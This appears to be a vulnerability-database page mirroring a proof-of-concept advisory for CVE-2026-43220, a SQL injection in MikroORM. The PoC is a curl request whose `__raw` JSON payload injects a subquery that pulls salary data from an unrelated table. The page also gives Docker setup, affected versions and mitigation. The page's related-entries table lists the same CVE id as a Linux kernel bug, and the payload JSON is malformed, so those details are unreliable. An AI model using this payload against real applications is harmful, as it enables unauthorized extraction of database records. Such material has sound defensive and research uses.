Lucene search
K

📄 MikroORM 7.0.5 SQL Injection

🗓️ 06 May 2026 00:00:00Reported by EQSTLabType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 47 Views

CVE-2026-43220: MikroORM SQL injection via __raw in Custom Type enables arbitrary SQL execution.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-43220
6 May 202611:28
attackerkb
Chainguard
CVE-2026-43220 vulnerabilities
14 May 202601:18
cgr
Circl
CVE-2026-43220
22 May 202613:05
circl
CNNVD
Linux kernel 安全漏洞
6 May 202600:00
cnnvd
CVE
CVE-2026-43220
6 May 202611:28
cve
Cvelist
CVE-2026-43220 iommu/amd: serialize sequence allocation under concurrent TLB invalidations
6 May 202611:28
cvelist
Debian
[SECURITY] [DSA 6274-1] linux security update
15 May 202617:53
debian
Debian CVE
CVE-2026-43220
6 May 202611:28
debiancve
Tenable Nessus
Debian dsa-6274 : ata-modules-6.12.74+deb13+1-armmp-di - security update
15 May 202600:00
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2026-43220
7 May 202600:00
nessus
Rows per page
#  CVE-2026-43220 MikroORM SQL Injection
    
    ★ CVE-2026-43220 MikroORM SQL Injection PoC ★
    
    https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
    
    <br>
    
    # Overview
    > **CVE-2026-43220** is a **SQL Injection** vulnerability in **MikroORM**, a widely used TypeScript/Node.js ORM framework.  
    > When a user-supplied value containing a `__raw` property is passed to a **Custom Type column** without validation, MikroORM's `isRaw()` check identifies it as a trusted internal Raw SQL expression and inserts the attacker-controlled `sql` value directly into the generated query without type conversion or sanitization, causing **unintended execution of arbitrary SQL**.
    
    <br>
    
    # Affected Versions
    | Category | Version |
    |---|---|
    | **Vulnerable** | MikroORM **version ≤ 6.4.3** & **7.0.0 ≤ version ≤ 7.0.5** |
    | **Patched** | MikroORM **6.4.4** & **7.0.6** |
    
    <br>
    
    # Impact
    - Exfiltration of sensitive data from the database without authorization
    - Corruption or unintended modification of existing database records
    
    <br>
    
    # Environment
    ```bash
    docker build -t cve-2026-43220-mikroorm-vuln .
    docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
    ```
    
    <br>
    
    # PoC
    After starting the vulnerable environment, follow the steps below to reproduce the attack.
    
    ## Step 1. Send a request with a malicious payload containing `__raw`
    Send a JSON body that includes a `__raw` property targeting a Custom Type column.
    ```bash
    curl -X POST http://localhost:3000/write \
      -H "Content-Type: application/json" \
      -d '{
        "author":"x",
        "title":"x,
        "content": {
          "__raw": true,
          "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
        }
      }'
    ```
    
    ## Step 2. Check the HTTP response
    Verify that the API returns a successful response without any error,
    indicating that MikroORM accepted the malicious payload as a valid value.
    
    
    ## Step 3. Confirm sensitive data is exfiltrated into post content
    Verify that the `content` field of the created post contains the query result
    from the `salaries` table (e.g., `Alice: 5000 / Bob: 7000 / ...`),
    confirming that data from an unrelated table has been silently embedded
    into the response without any error or access control violation.
    
    <br>
    
    # Mitigation
    - Upgrade to **MikroORM 6.4.4** or later, which introduces origin verification in `isRaw()` to reject externally supplied `__raw` properties
    - Apply **whitelist-based input validation** to reject unexpected properties such as `__raw` before passing values to ORM layer
    
    <br>
    
    # Analysis
    - KR: https://www.skshieldus.com/security-insights/reports/eqst-orm-injection-explained
    - EN:

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 May 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.15.5
EPSS0.00023
47